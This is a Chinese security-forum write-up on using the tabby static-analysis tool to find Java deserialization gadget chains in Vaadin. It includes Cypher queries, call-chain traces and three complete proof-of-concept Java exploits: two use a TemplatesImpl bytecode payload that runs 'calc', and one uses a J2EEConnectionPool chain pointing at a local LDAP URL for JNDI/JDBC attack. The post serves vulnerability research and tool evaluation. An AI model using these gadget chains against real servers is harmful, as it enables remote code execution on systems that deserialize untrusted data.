问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
vaadin反序列化链挖掘:tabby静态分析实践
漏洞分析
在学习前面几条链子的基础上,结合静态分析工具在前面的基础上的一些小发现,包括vaadin的新利用方式以及对tabby的检测缺陷的总结
前言 -- 在学习前面几条链子的基础上,结合静态分析工具在前面的基础上的一些小发现,包括vaadin的新利用方式以及对tabby的检测缺陷的总结 Tabby ----- 对于tabby的安装及基础使用可以直接参考wh1t3p1g师傅的文档 <https://github.com/wh1t3p1g/tabby?tab=readme-ov-file#1-%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95> ### 恶意getValue方法 如果分析过vaadin前面几条利用链,核心是寻找到了恶意的getValue使得能够触发方法调用或者JNDI攻击、JDBC attack等等 这里我们通过tabby这一个静态分析工具进行存在恶意的`getValue`方法的检索,对检索后的内容进行人工审查对应的参数是否可控 tabby 查询语句 ```cypher match (source:Method {NAME: 'getValue'}) match (sink:Method {IS\_SINK: true}) CALL tabby.algo.findPath(source, '>', sink, 5, false) yield path RETURN path ```  这里存在多条有关getValue的链子 其中的`com.vaadin.data.util.NestedMethodProperty#getValue`中的反射调用方法,为原始的Vaadin的反序列化链子调用任意getValue方法所选择的类方法  ### 可用利用链查询 上述的查询方式仅仅是利用了原始的vaadin反序列化链中能够调用任意getValue方法而横向进行查询的方式,这里我们直接对整个vaadin库进行整体的可利用的反序列化链检索 同样,通过全链条查询的方式也能够查询到上述的利用链  接下来我们检索一下从toString作为source点,sink点为tabby内置规则中的JNDI类型的全链条,看看是否能够查询到已有链子已经新的链子 查询语句 ```cypher match (source:Method {NAME: 'toString'}) match (sink:Method {IS\_SINK: true, VUL: 'JNDI'}) CALL apoc.algo.allSimplePaths(source, sink, 'ALIAS|CALL>', 15) yield path RETURN path ```  其中存在多条通路能够分别触发到`JDBC`连接以及`lookup`调用,进而进行`JDBC attack`以及`JNDI`注入攻击 查找出的链子也覆盖了如下的调用链: ```java xx.readObject\-> invoke toString\-> PropertysetItem#toString\-> AbstractSelect#getValue\-> SQLContainer#ContainsId\->-> TableQuery#containsRowWithKey\-> SimpleJDBCConnectionPool#reserveConnection\-> SimpleJDBCConnectionPool#createConnection\-> (到达createConnection的路径不唯一) DriverManager.getConnection\-> JDBC attack ``` ```java xx.readObject\-> invoke toString\-> PropertysetItem#toString\-> AbstractSelect#getValue\-> SQLContainer#ContainsId\->-> TableQuery#containsRowWithKey\-> J2EEConnectionPool#reserveConnection\-> InitialContext#lookup ``` 任意方法调用 ------ ### com.vaadin.data.util.MethodProperty 始的Vaadin反序列化Gadget是通过利用`NestedMethodProperty#getValue`方法进行利用 经过tabby的查询,这里同样存在另外的恶意getValue方法能够进行反射方法调用  这里同样可以使用`MethodProperty#getValue`进行替代使用,相比较而言,这个类的使用更方便 直接来看对应getValue方法的实现:  非常的简洁,直接是若对应的`instance`属性不为空则反射调用`getMethod`属性中的方法 接下来看看`getMethod \ instance \ getArgs`这些属性值是否可控 这可太可控了,他们都是通过`MethodProperty`类的构造函数进行传入  该类存在有多个构造方法的重载形式:  对于第一个构造函数,仅仅接受两个参数,分别为`instance \ beanPropertyName`  1. 获取传入的instance对象的类,以及处理传入的属性名,使得首字母大写 2. 通过`initGetterMethod`获取后续能够反射调用的Method方法  同之前的一样,能够调用getter / is / are方法 对于倒数第二个构造方法,需要传入7个参数:  1. 直接反射从传入的`instance`实例中获取该对象所有的方法列表 2. 后续使用我们传入的`getMethodName \ type`同反射获取的方法列表进行比对,若比对成功则直接将其赋值给`getMethod`属性 3. 通过上述分析,可以发现并未对传入的getMethodName变量做任何限制,我们这里不仅仅可以传入getter方法,同样可以传入非getter方法进行调用 而最后一个构造方法更极端,直接赋值:  ### POC #### Way1 `MethodProperty`调用getter方法 ```java package org.example.deser; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.vaadin.data.util.MethodProperty; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import javax.management.BadAttributeValueExpException; import java.io.\*; import java.lang.reflect.Field; import java.util.Base64; public class Vaadin\_test1 { public static void main(String\[\] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates\=new TemplatesImpl(); setFieldValue(templates,"\_bytecodes",new byte\[\]\[\]{getTemplates()}); setFieldValue(templates, "\_name", "test"); setFieldValue(templates, "\_tfactory", null); PropertysetItem pItem \= new PropertysetItem(); MethodProperty<Object\> methodProperty \= new MethodProperty<>(templates, "outputProperties"); pItem.addItemProperty("test",methodProperty); BadAttributeValueExpException badAttributeValueExpException\=new BadAttributeValueExpException("test"); setFieldValue(badAttributeValueExpException,"val",pItem); String result\=serialize(badAttributeValueExpException); unserialize(result); } public static String serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream\=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream\=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static void unserialize(String base) throws IOException, ClassNotFoundException { byte\[\] result\=Base64.getDecoder().decode(base); ByteArrayInputStream byteArrayInputStream\=new ByteArrayInputStream(result); ObjectInputStream objectInputStream\=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static byte\[\] getTemplates() throws CannotCompileException, IOException, NotFoundException { ClassPool classPool\=ClassPool.getDefault(); CtClass ctClass\=classPool.makeClass("test"); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block \= "Runtime.getRuntime().exec(\\"calc\\");"; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); } public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException { Field f\=object.getClass().getDeclaredField(field); f.setAccessible(true); f.set(object,arg); } } ``` #### Way2 `MethodProperty`调用任意方法 ```java package org.example.deser; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.vaadin.data.util.MethodProperty; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import javax.management.BadAttributeValueExpException; import java.io.\*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; import java.util.Properties; public class Vaadin\_test1 { public static void main(String\[\] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException { TemplatesImpl templates\=new TemplatesImpl(); setFieldValue(templates,"\_bytecodes",new byte\[\]\[\]{getTemplates()}); setFieldValue(templates, "\_name", "test"); setFieldValue(templates, "\_tfactory", null); PropertysetItem pItem \= new PropertysetItem(); // way1 // MethodProperty<Object> methodProperty = new MethodProperty<>(templates, "outputProperties"); // way2 Method getOutputProperties \= templates.getClass().getDeclaredMethod("getOutputProperties"); MethodProperty methodProperty \= new MethodProperty<>(Properties.class, templates, getOutputProperties, null, new Object\[0\], new Object\[0\], \-1); pItem.addItemProperty("test",methodProperty); BadAttributeValueExpException badAttributeValueExpException\=new BadAttributeValueExpException("test"); setFieldValue(badAttributeValueExpException,"val",pItem); String result\=serialize(badAttributeValueExpException); unserialize(result); } public static String serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream\=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream\=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static void unserialize(String base) throws IOException, ClassNotFoundException { byte\[\] result\=Base64.getDecoder().decode(base); ByteArrayInputStream byteArrayInputStream\=new ByteArrayInputStream(result); ObjectInputStream objectInputStream\=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static byte\[\] getTemplates() throws CannotCompileException, IOException, NotFoundException { ClassPool classPool\=ClassPool.getDefault(); CtClass ctClass\=classPool.makeClass("test"); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block \= "Runtime.getRuntime().exec(\\"calc\\");"; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); } public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException { Field f\=object.getClass().getDeclaredField(field); f.setAccessible(true); f.set(object,arg); } } ``` FileInputStream参数可控 ------------------- 同样的,经过上面的tabby查询,存在一个链子能够触发`FileInputStream`的构造函数  ### com.vaadin.data.util.TextFileProperty 同样是在其getValue方法中:  直接传入了file属性,且该属性值可控,在读取文件之后将内容进行返回 > 有点子疑惑,在反序列化漏洞的场景下这种可以读文件吗?不是很懂.... JDBC attack ----------- [Vaadin New Gadgets分享 - 先知社区](https://xz.aliyun.com/t/15715?time__1311=GqjxnQiQoQuDlxGgpDy07G8YOKY5qqDObAeD#toc-0) 师傅在前面提到了一个链子 `J2EEConnectionPool#reserveConnection`的利用  主要是考虑到了`reserveConnection -> getDataSource -> lookupDataSource`这样的流程触发了JNDI注入 同样的,在这里如果这里的`dataSource`属性值不为空,则会调用`DataSource#getConnection`触发JDBC attack ### POC `J2EEConnectionPool#reserveConnection`的JDBC attack: ```java package org.example.deser; import com.vaadin.data.util.PropertysetItem; import com.vaadin.data.util.sqlcontainer.RowId; import com.vaadin.data.util.sqlcontainer.SQLContainer; import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool; import com.vaadin.data.util.sqlcontainer.query.TableQuery; import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator; import com.vaadin.ui.NativeSelect; import org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource; import org.example.utils.ReflectionUtil; import org.example.utils.Serializer; import javax.management.BadAttributeValueExpException; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.ArrayList; public class Vaadin1\_v1 { public static void main(String\[\] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, IOException { String command \= "ldap://127.0.0.1:1389/TomcatEL/Command/calc"; SharedPoolDataSource dataSource \= new SharedPoolDataSource(); dataSource.setDataSourceName(command); J2EEConnectionPool j2EEConnectionPool \= new J2EEConnectionPool(dataSource); TableQuery tableQuery \= (TableQuery) ReflectionUtil.createWithoutConstructor("com.vaadin.data.util.sqlcontainer.query.TableQuery"); // prevent the error ReflectionUtil.setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>()); ReflectionUtil.setFieldValue(tableQuery, "sqlGenerator", new DefaultSQLGenerator()); ReflectionUtil.setFieldValue(tableQuery, "connectionPool", j2EEConnectionPool); Constructor<SQLContainer\> sqlContainerConstructor \= SQLContainer.class.getDeclaredConstructor(); sqlContainerConstructor.setAccessible(true); SQLContainer sqlContainer \= sqlContainerConstructor.newInstance(); ReflectionUtil.setFieldValue(sqlContainer, "queryDelegate", tableQuery); NativeSelect nativeSelect \= new NativeSelect(); RowId rowId \= new RowId(); ReflectionUtil.setFieldValue(nativeSelect, "value", rowId); ReflectionUtil.setFieldValue(nativeSelect, "items", sqlContainer); ReflectionUtil.setFieldValue(nativeSelect, "multiSelect", true); PropertysetItem propertysetItem \= new PropertysetItem(); propertysetItem.addItemProperty("test", nativeSelect); BadAttributeValueExpException badAttributeValueExpException \= new BadAttributeValueExpException("test"); ReflectionUtil.setFieldValue(badAttributeValueExpException, "val", propertysetItem); byte\[\] bytes \= Serializer.serialize(badAttributeValueExpException); Serializer.deserialize(bytes); } } ``` 上面使用了dbcp依赖,打EL表达式,需要添加对应的依赖 总结 -- 起始时使用污点分析工具进行利用链的查找,虽然可以找到原始的利用链的完整通路,但是对于<https://xz.aliyun.com/t/15715>这篇文章提到的两条链子并不存在有通路,通过分析,该俩链子在最后达到sink点,也即是JNDI触发位置时,并没有参数被污染,数据流不能够被传递 例如`J2EEConnectionPool#reserveConnection`以及`SimpleJDBCConnectionPool#reserveConnection`方法   同时,在使用tabby的过程中,发现虽然能够使用`apoc.algo.allSimplePaths`这一个procedure查到对应的两条链子,但是并不能够检索到`J2EEConnectionPool#reserveConnection`中存在的JDBC attack  究其原因,可能是在生成调用关系图的过程中,并没有处理这类连续调用的情况:`getDataSource().getConnection()`,算是一个小缺陷... 参考 -- <https://xz.aliyun.com/t/15715> <https://xz.aliyun.com/t/16627> <https://github.com/wh1t3p1g/tabby?tab=readme-ov-file#1-%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95>
发表于 2025-03-07 09:00:01
阅读 ( 6451 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
leeh
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!